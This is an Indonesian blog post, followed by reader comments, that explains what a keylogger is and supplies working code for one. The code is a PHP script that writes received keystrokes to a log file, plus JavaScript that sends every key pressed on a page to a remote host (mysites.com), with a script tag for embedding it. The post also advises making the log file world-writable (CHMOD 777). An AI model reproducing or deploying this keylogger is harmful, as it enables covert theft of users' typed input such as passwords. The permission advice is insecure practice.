Keystroke Logger(KeyLogger)
Keystroke Logger atau sering disebut Keylogger, adalah program perangkat lunak(Software) yang diinstall pada komputer, biasanya bersama-sama dengan Trojan Horse atau virus. Keylogger menangkap dan merekam setiap keystroke / tombol yang ditekan oleh user pada keyboard. Kemudian data yang direcoed akan dikirim ke komputer remote.
Ada cukup banyak situs yang memberikan tutorial tentang pembuatan keylogger ataupun menyediakan freeware keylogger. Dalam kesempatan ini, saya akan memberikan contoh keylogger sederhana dengan program PHP dan Javascript, agar pembaca sekalian memahami tentang Keylogger.
Yang pertama adalah program PHP-nya (keylogger.php)
<?php
$key=$_POST[ 'key' ];
$logfile="keylog.txt";
$fp = fopen($logfile, "a");
fwrite ($fp, $key);
fclose ($fp);
?>
Dan ini adalah Javascriptnya (keylogger.js)
document.onkeypress = function(evt) {
evt = evt || windows.event
key = String.fromCharCode(evt.charCode)
if (key) {
var http = new XMLHttpRequest();
var param = encodeURI(key)
http.open("POST", "http://mysites.com/keylogger.php", true);
http.setRequsetHeader("Content-type", "application/x-www-form-urlencoded");
http.send("key="+param);
}
}
Untuk memasang keylogger dalam sebuah halaman, kita perlu memanggilnya:
<script src="http://mysites.com/keylooger.js"></script>
cara kerjanya sebenarnya sangat mudah. Saat sebuah halaman situs dipanggil, ada sebuah event OnKeyPress yang dideklarasi dalam Javascript akan menjalankan AJAX untuk memanggil file keylogger.php dengan mengirimkan key/tombol yang ditekan oleh user.
Oleh PHP, key/tombol yang ditekan user tersebut akan langsung direkam ke dalam sebuah file yang namanya keylog.txt. Jangan lupa untuk meng-CHMOD777 untuk file keylog.txt ini agar dengan mudah ditimpa (overwrite) apabila terjadi rekaman file baru.
Terimakasih sudah mau berkunjung dan membaca blog saya semoga bermanfaat :D
Bye Bye :D :D :D :D

Mantaap, terimakasih infonya..
ReplyDeleteOh nambah pengetahuan saya nih
ReplyDeletekog ada phpnya jg ya
ReplyDeleteitu ntar dijadiin script berekstensi php (.php)
DeleteMantap INFOnya gan :D Thx ya
ReplyDeleteKeren baru tau ane, mantap infonya gan
ReplyDeleteMaksih banget
untuk menghidari kita dari aksi keylogger gimana?
ReplyDeleteKeren mas artikelnya
ReplyDelete